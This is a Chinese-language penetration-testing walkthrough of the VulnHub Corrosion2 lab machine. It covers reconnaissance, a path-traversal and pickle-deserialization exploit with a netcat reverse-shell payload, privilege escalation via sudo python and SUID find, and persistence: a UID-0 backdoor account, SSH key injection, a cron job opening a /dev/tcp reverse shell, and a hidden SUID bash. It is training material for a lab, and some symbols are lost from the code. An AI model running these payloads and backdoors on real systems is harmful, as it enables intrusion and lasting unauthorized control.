
1. 项目概述为什么选择Corrosion2作为渗透测试的“磨刀石”如果你正在学习网络安全尤其是渗透测试那么“打靶机”几乎是绕不开的必修课。它就像武术中的木人桩提供了一个安全、合法的环境让你可以尽情施展所学从信息收集、漏洞扫描、漏洞利用到权限提升和横向移动完整地走一遍攻击者的路径。今天我们要聊的就是VulnHub平台上的一款中级难度靶机——Corrosion2。Corrosion2并不是一个简单的“Hello World”级别的靶机。它模拟了一个相对真实的企业内部网络环境包含了多个服务、潜在的逻辑漏洞和需要串联利用的攻击链。选择它作为实战对象意味着你不仅要会使用工具更要理解攻击背后的逻辑学会像攻击者一样思考。很多新手在拿到一个靶机IP后往往直接上Nmap扫端口然后用Metasploit一通乱打运气好可能能拿到shell但完全不知道为什么。而Corrosion2恰恰能治这种“工具依赖症”它迫使你去分析代码、理解业务逻辑、手动构造利用链。我之所以花时间详细拆解这个靶机是因为它在设计上非常“教学友好”。它没有故意设置那些刁钻古怪、现实中几乎不存在的漏洞而是将一些经典的、常见的漏洞比如信息泄露、弱凭证、不安全的反序列化、权限配置错误等有机地组合在一起。攻破它的过程本身就是一次对OWASP Top 10和常见内网攻击手法的复习与实践。接下来我会带你从零开始手把手搭建环境并一步步拆解整个渗透流程不仅告诉你“怎么做”更重点解释“为什么这么做”以及“还能怎么做”。2. 靶机环境搭建与网络配置工欲善其事必先利其器。在开始“攻击”之前我们必须先搭建一个稳定、隔离的测试环境。这不仅是出于法律和道德的考虑也是为了保证实验的可重复性和安全性避免误操作影响到真实网络。2.1 虚拟化平台选型与考量目前主流的虚拟化方案有VMware Workstation/Player、VirtualBox和KVM等。对于渗透测试学习我强烈推荐使用VMware Workstation Pro。原因有以下几点网络模式灵活VMware的NAT、桥接、仅主机模式非常成熟且易于理解。特别是其自定义的VMnet虚拟网络可以轻松构建复杂的多靶机内网环境这对后期学习横向移动至关重要。兼容性与性能对各类操作系统尤其是Linux发行版的兼容性最好硬件虚拟化支持完善性能损耗相对较小。快照功能这是学习渗透测试的“后悔药”和“时光机”。你可以在每一个关键步骤如刚装好靶机、获取初始shell后创建一个快照。如果操作失误或者想重新练习某个环节可以瞬间回滚极大地提升了学习效率。当然VirtualBox是免费且开源的对于预算有限的初学者也是一个不错的选择。但它在复杂网络配置和某些系统兼容性上稍逊一筹。KVM则更偏向于Linux服务器端的虚拟化对于桌面用户学习门槛稍高。注意无论选择哪个平台请务必确保你的物理机CPU已开启BIOS中的虚拟化支持Intel VT-x / AMD-V否则虚拟机性能会极差甚至无法运行64位系统。2.2 靶机文件获取与导入Corrosion2的镜像文件可以在VulnHub官网免费下载。下载完成后你通常会得到一个.ova或.7z/.zip压缩包。解压如果是压缩包先解压得到.ova或.vmdk等虚拟机磁盘文件。导入VMware打开VMware点击“文件”-“打开”选择解压后的.ova文件。在导入向导中你可以修改虚拟机的名称和存储路径。建议将它放在一个空间充足的磁盘分区。网络设置导入后先不要启动。右键点击虚拟机-“设置”转到“网络适配器”。这里有一个关键选择请设置为“NAT模式”。为什么是NAT模式在NAT模式下虚拟机会通过物理主机的IP地址共享上网同时处于一个虚拟的子网中。对于单靶机练习这能提供最简便的网络连通性你的攻击机Kali和靶机都在同一个虚拟NAT网络里可以互相访问又不会让靶机暴露在你的真实局域网中安全性最好。桥接模式虽然让靶机像一台真实设备一样存在于你的局域网但可能会引发IP冲突且不符合“隔离环境”的最佳实践。2.3 攻击机Kali Linux准备你的“武器库”就是Kali Linux。同样建议使用VMware安装一个Kali虚拟机。网络配置将Kali虚拟机的网络适配器也设置为“NAT模式”。这样Kali和Corrosion2靶机将默认处于同一个虚拟子网例如192.168.xxx.0/24网段可以互相通信。更新与工具检查启动Kali首先更新软件源并升级系统sudo apt update sudo apt upgrade -y。虽然Kali预装了几乎所有工具但确保它们是最新版本可以避免一些奇怪的兼容性问题。特别检查一下nmap,gobuster,searchsploit,metasploit-framework等核心工具是否可用。确定靶机IP这是第一步。启动Corrosion2靶机它通常会显示登录界面。我们需要在Kali中找出它的IP地址。最常用的方法是使用netdiscover或nmap扫描整个网段。# 查看Kali自身在NAT网络中的IP和网关 ip addr show # 假设Kali的IP是192.168.88.128网关是192.168.88.2那么网段就是192.168.88.0/24 sudo netdiscover -r 192.168.88.0/24在netdiscover的输出中寻找MAC地址制造商不是“VMware”就是你物理机网卡厂商的设备那很可能就是靶机。记下它的IP地址假设为192.168.88.130。至此你的实验室就搭建完毕了Kali攻击机192.168.88.128和 Corrosion2靶机192.168.88.130已经网络互通可以开始正式的“交锋”。3. 信息收集打开渗透测试的“上帝视角”信息收集是渗透测试中耗时最长、也最考验耐心的阶段但它直接决定了后续攻击的效率和成功率。目标是在不触发任何警报的情况下尽可能多地收集关于目标系统的信息就像侦探在破案前调查现场一样。3.1 主动扫描使用Nmap进行端口与服务探测Nmap是网络映射的瑞士军刀。我们对靶机进行一个全面的扫描。sudo nmap -sS -sV -sC -O -p- 192.168.88.130 -oA corrosion2_full-sS: TCP SYN扫描一种半开放扫描速度快且相对隐蔽。-sV: 版本探测尝试识别运行在开放端口上的服务及其版本号。这是关键已知的软件版本对应着已知的漏洞。-sC: 使用默认的Nmap脚本引擎进行扫描能发现一些常见漏洞或获取额外信息如HTTP标题、robots.txt等。-O: 尝试进行操作系统识别。-p-: 扫描所有65535个端口。对于CTF或靶机一定要全端口扫描管理员经常会把服务放在非标准端口上。-oA: 将结果以所有格式normal, xml, grepable输出到文件方便后续查阅。扫描结果可能类似于PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) 8080/tcp open http-proxy Werkzeug httpd 0.16.1 (Python 3.8.10) 9000/tcp open cslistener?从结果中我们获得了第一个重要情报目标开放了4个端口。22端口的SSH80端口的Apache Web服务8080端口的Python Werkzeug开发服务器以及一个未知服务的9000端口。3.2 Web路径枚举与目录爆破Web服务80和8080端口通常是渗透测试的主要入口。我们首先访问http://192.168.88.130和http://192.168.88.130:8080用浏览器手动查看一下。端口80可能是一个简单的静态页面或者有登录表单。查看网页源代码是必须的注释里可能隐藏信息。同时使用gobuster或dirb进行目录爆破。gobuster dir -u http://192.168.88.130 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,js,bak-w指定字典-x指定尝试的扩展名。重点关注/admin,/backup,/config,/uploads,/robots.txt,/index.php等结果。端口8080Werkzeug是Python Flask框架自带的开发服务器。这里很可能是一个Web应用。同样进行目录/文件爆破并且要特别注意是否存在/consoleFlask调试器PIN码保护的控制台如果配置不当可能成为RCE入口等路径。3.3 服务指纹与漏洞关联分析将Nmap得到的服务版本信息如OpenSSH 8.2p1, Apache 2.4.41, Werkzeug 0.16.1记录下来。立刻去以下地方搜索SearchsploitKali自带的本地漏洞库。searchsploit openssh 8.2searchsploit apache 2.4.41。看看有没有公开的利用代码。互联网搜索在浏览器中搜索“Werkzeug 0.16.1 vulnerability”或“Apache 2.4.41 exploit”。关注CVE编号。默认凭证尝试对于SSH、Web后台尝试一些默认或弱口令如admin/admin,root/root,admin/password等。可以准备一个小字典进行快速尝试。这个阶段的目标是绘制一张“攻击面地图”列出所有可能的入口点开放的端口、Web路径、输入表单和与之关联的潜在弱点软件版本漏洞、默认配置、弱口令。4. 漏洞利用与初始访问突破在信息收集的基础上我们需要找到一个可靠的突破口获取在目标系统上的第一个立足点即初始访问。对于Corrosion2突破口往往在Web应用上。4.1 Web应用漏洞挖掘与利用假设我们在对8080端口的Werkzeug服务进行目录爆破时发现了一个路径/api访问后是一个返回JSON数据的接口。通过拦截请求或查看前端JS代码我们发现它接收一个user参数。进一步测试发现/api/user?user../../../../etc/passwd可能会返回系统文件内容这指向了一个路径遍历漏洞。利用过程手动验证使用curl或浏览器直接访问带有payload的URL确认可以读取/etc/passwd文件查看系统用户列表。curl http://192.168.88.130:8080/api/user?user../../../../etc/passwd扩大战果尝试读取Web应用的配置文件如../../../../var/www/html/config.php、../../../../proc/self/environ环境变量可能泄露敏感信息或../../../../home/username/.ssh/id_rsa用户的SSH私钥。获取反向Shell如果发现了.py或其他脚本文件并且能写入或者存在文件上传点结合路径遍历可以尝试写入一个反向Shell代码。但更常见的情况是通过路径遍历我们找到了源代码。分析源代码是发现更深层漏洞如反序列化、命令注入的关键。例如在读取的源代码app.py中我们发现了一段不安全的反序列化代码import pickle import yaml # ... 从请求中获取data参数 ... user_data pickle.loads(base64.b64decode(data)) # 危险用户可控的pickle反序列化pickle.loads()是Python中一个著名的危险函数如果反序列化的数据用户可控可以导致远程代码执行。构造Payload我们可以使用Python编写一个生成恶意pickle数据的脚本。import pickle import base64 import os class Exploit: def __reduce__(self): # 这个命令会在目标服务器上执行弹一个反向shell到我们的监听端口 cmd (rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 21 | nc 192.168.88.128 4444 /tmp/f) return os.system, (cmd,) payload base64.b64encode(pickle.dumps(Exploit())).decode() print(payload)运行脚本得到一串base64编码的payload。然后我们向存在漏洞的接口发送这个payload。4.2 建立反向Shell连接在发送利用请求之前我们需要在Kali上开启一个Netcat监听器接收靶机反弹回来的shell。nc -nvlp 4444-n禁止DNS解析-v详细输出-l监听模式-p指定端口。然后将生成的payload作为data参数的值通过curl或Burp Suite发送到目标接口。curl -X POST http://192.168.88.130:8080/vulnerable_endpoint --data data你的base64-payload如果漏洞利用成功你将在Netcat监听窗口看到连接建立并出现一个Shell提示符可能是$或#。恭喜你已经获得了初始访问权限实操心得拿到Shell后的第一件事不是乱看而是先进行Shell稳定化。原始的Netcat Shell非常不稳定容易中断且不支持TAB补全、历史记录等。立即使用Python或其它语言获取一个更友好的TTY。# 在获得的Shell中执行 python3 -c import pty; pty.spawn(/bin/bash) # 或者如果python3不可用 python -c import pty; pty.spawn(/bin/bash) # 然后按CtrlZ挂起回到Kali终端输入 stty raw -echo; fg # 最后再设置终端类型 export TERMxterm-256color这样你就获得了一个功能完整的交互式Shell。5. 权限提升从普通用户到Root在Linux系统中初始获取的Shell往往是一个低权限用户如www-data或一个普通用户。我们的目标是获取最高权限root。这个过程称为权限提升。5.1 内部信息收集在靶机内部我们需要系统地收集信息寻找提权的线索。我习惯运行一个信息收集脚本如linpeas.sh它能自动化地检查大量常见提权路径。你可以从攻击机上传它或者让靶机直接下载。# 在靶机Shell中 cd /tmp wget http://192.168.88.128:8000/linpeas.sh # 前提是在Kali上用python启动了HTTP服务: python3 -m http.server 8000 chmod x linpeas.sh ./linpeas.shlinpeas的输出会高亮显示可疑项。但手动检查以下关键点也至关重要用户与组id命令查看当前用户权限cat /etc/passwd查看所有用户sudo -l查看当前用户可以以root身份运行哪些命令这是黄金检查点。进程与服务ps aux查看所有进程netstat -tulpn查看网络连接和监听端口寻找以root身份运行的非系统关键服务。计划任务crontab -l查看当前用户的计划任务ls -la /etc/cron*查看系统计划任务目录看是否有任何脚本文件当前用户可写。SUID/GUID文件查找设置了SUID位的文件如果这些文件属于root且可被当前用户执行可能通过漏洞提权。find / -perm -us -type f 2/dev/null。可写文件与目录查找全局可写的敏感目录尤其是/etc/passwd,/etc/shadow,/etc/sudoers等文件是否可写。find / -writable -type d 2/dev/null。环境变量env查看环境变量注意PATH中是否有当前用户可写的目录这可能导致劫持。5.2 利用SUID与sudo配置提权假设linpeas或手动检查发现当前用户可以以root身份无需密码运行一个特定命令比如/usr/bin/python3.8。sudo -l # 输出 (ALL) NOPASSWD: /usr/bin/python3.8这是一个经典的提权向量。我们可以直接利用Python来启动一个root shell。sudo /usr/bin/python3.8 -c import os; os.system(/bin/bash)或者如果发现一个具有SUID位的、不常见的二进制文件如find,vim,bash,nmap旧版本等也有对应的提权方法。例如对于find# 如果 find 有SUID位 find . -exec /bin/bash -p \; # -p 参数是为了保留特权模式5.3 利用内核漏洞提权如果以上“优雅”的方法都行不通可能需要诉诸内核漏洞。首先用uname -a查看内核版本然后在Kali上搜索对应的本地提权漏洞。# 在Kali上 searchsploit linux kernel 版本号 local privilege escalation找到合适的EXP后将其上传到靶机同样用wget或python3 -m http.server在靶机上编译并执行。但要注意内核漏洞利用有风险可能导致系统崩溃在靶机上无所谓。而且现代系统通常有沙箱和内核保护机制成功率不如以前。对于Corrosion2根据设计它通常会留有一条清晰的、基于配置错误的提权路径如上述的sudo -l引导你练习更常见的提权手法而非依赖复杂的内核漏洞。6. 横向移动与权限维持探索在真实的渗透测试中获取一台机器的root权限往往不是终点。我们需要探索内网寻找其他有价值的主机横向移动并在已控制的机器上留下后门以便长期控制权限维持。Corrosion2作为单机靶机可能简化了这部分但我们可以模拟这些思路。6.1 内部网络探测在获得Shell后我们可以探测靶机所在的虚拟网络内是否有其他主机。# 查看靶机自身的网络配置 ifconfig 或 ip addr # 假设发现网卡eth0的IP是192.168.88.130网关是192.168.88.2 # 使用靶机上的工具进行内网扫描如果安装了nmap/ netcat for i in {1..254}; do timeout 1 bash -c ping -c 1 192.168.88.$i echo 192.168.88.$i is up done; wait # 或者检查arp表 arp -a如果靶机是内网的一部分模拟企业环境可能会发现其他IP。但在我们简单的NAT网络里可能只有网关和Kali。6.2 凭证收集与密码复用横向移动的核心是获取新的凭证。在已攻破的机器上我们要像“小偷”一样翻找一切可能存储密码的地方历史命令history查看管理员执行过哪些命令可能包含密码。配置文件Web应用配置文件config.php,.env、数据库连接文件、SSH配置文件等。用户目录~/.bash_history,~/.ssh/可能有私钥或known_hosts~/.aws/云服务凭证~/.*rc文件。内存中的密码使用strings /dev/mem | grep -i pass需要root或工具如mimipenguinLinux尝试从内存中提取密码难度较高。数据库如果找到数据库密码连接进去可能在用户表中找到哈希或明文密码。找到密码或哈希后尝试在其他服务如SSH、其他Web后台或对其他主机进行“密码复用”攻击。很多人习惯在不同系统使用相同或相似的密码。6.3 后门与持久化为了不被管理员发现并踢出系统我们需要安装后门。添加用户最简单的方法添加一个具有root权限的隐藏用户到/etc/passwd。# 生成一个密码为hacked的openssl密文 openssl passwd -1 -salt xyz hacked # 在/etc/passwd末尾添加一行UID和GID设为0root echo backdoor:$1$xyz$qWGXzyfqFpzB3jLwB.0Vk.:0:0:root:/root:/bin/bash /etc/passwd之后就可以用backdoor用户和密码hacked通过SSH登录了。SSH公钥注入如果当前用户有~/.ssh/authorized_keys写入权限可以将Kali的公钥追加进去。# 在Kali上 cat ~/.ssh/id_rsa.pub # 复制公钥内容在靶机Shell中 echo ssh-rsa AAAAB3NzaC1yc2E... userkali ~/.ssh/authorized_keys计划任务后门添加一个每分钟或每几分钟连接回攻击机的cron任务。(crontab -l 2/dev/null; echo * * * * * /bin/bash -c bash -i /dev/tcp/192.168.88.128/5555 01) | crontab -同时在Kali上用nc -nvlp 5555监听每分钟就会收到一个反弹shell。SUID后门复制一个bash并设置SUID位。cp /bin/bash /tmp/.hidden_bash chmod s /tmp/.hidden_bash之后任何用户执行/tmp/.hidden_bash -p即可获得一个root shell。注意事项在真实环境中这些后门手法需要更加隐蔽比如使用与系统文件相似的名字、放在不常清理的目录、清除日志痕迹等。在靶机练习中我们主要是了解这些技术。7. 常见问题与排查技巧实录在实际操作中你一定会遇到各种各样的问题。这里记录了一些我在打Corrosion2及类似靶机时遇到的典型问题和解决方法。7.1 网络连通性问题问题Kali无法ping通靶机IP。检查1虚拟机网络设置。确保Kali和靶机都处于同一网络模式如NAT模式。在VMware中它们应该连接到同一个虚拟网络如“VMnet8”。检查2防火墙。检查Kali和物理主机的防火墙是否阻止了ICMP或相关流量。在练习环境中可以暂时关闭它们sudo ufw disableon Kali。检查3靶机IP变更。DHCP可能导致靶机IP变化。每次启动后都用netdiscover或arp-scan重新扫描确认IP。检查4服务是否真正运行。有时靶机启动较慢特别是那些需要启动多项服务的。多等一会儿或者重启靶机试试。7.2 漏洞利用失败问题按照教程或自己的思路构造的Payload没有返回预期结果比如没有收到反向Shell。排查1Payload是否正确仔细检查命令语法特别是特殊字符的转义。在Bash中用单引号包裹命令通常更安全。使用echo命令测试命令是否被正确解析。排查2监听器是否正确设置确认Netcat监听在正确的IP和端口上。Kali可能有多个IPeth0, tun0等确保监听在0.0.0.0或与靶机通信的那个IP上。命令应为nc -nvlp 4444。排查3出网限制靶机可能无法访问外网或你的Kali IP。尝试在靶机上执行ping 你的Kali IP。如果靶机没有出网权限反向Shell会失败。此时考虑使用正向ShellBind Shell即让靶机监听端口Kali去连接。但前提是你能在靶机上执行命令。排查4杀毒软件/安全机制虽然靶机通常没有但一些现代Linux系统有SELinux或AppArmor可能阻止某些操作。尝试使用不同的Payload或执行方式。7.3 提权思路枯竭问题运行了linpeas也手动检查了但没找到明显的提权点。思路1深入检查sudo -l。这是最可能的地方。仔细看输出是否有一些不常见的二进制文件可以被sudo执行尝试用sudo -l查看所有用户的权限。思路2检查所有用户的crontab。不仅仅是当前用户的。看看/etc/crontab和/etc/cron.d/、/etc/cron.hourly/等目录下的所有脚本检查其所有权和可写性。思路3关注新安装的或不常见的软件。使用dpkg -lDebian/Ubuntu或rpm -qaRHEL/CentOS列出所有软件包。搜索其中是否有已知存在本地提权漏洞的版本。思路4查看日志和用户文件。检查/var/log/下的日志看是否有密码信息。查看/home/下其他用户的目录和文件如果可读特别是.bash_history,.ssh/, 隐藏文件等。思路5回到Web漏洞。是否在Web目录下留下了可写的Shell文件是否可以通过Web漏洞直接写入一个具有SUID位的文件或者Web服务如Apache是以root身份运行的吗如果可以控制Web内容也许能间接执行root命令。7.4 Shell不稳定或交互性差问题获得的Shell一按CtrlC就断开无法使用文本编辑器没有命令历史。解决方案这就是前面提到的“Shell稳定化”。务必在拿到Shell的第一时间升级到完全交互式的TTY。使用Python的pty模块是最可靠的方法。如果Python不可用可以尝试/bin/script -qc /bin/bash /dev/null或者使用socat等工具需要上传二进制文件。打靶机是一个不断试错和学习的过程。遇到问题不要气馁仔细分析错误信息利用搜索引擎和社区资源。每一次成功的突破都是对你知识体系和问题解决能力的一次巩固。Corrosion2通关后不妨尝试其他更有挑战性的靶机将在这里学到的思路和方法举一反三。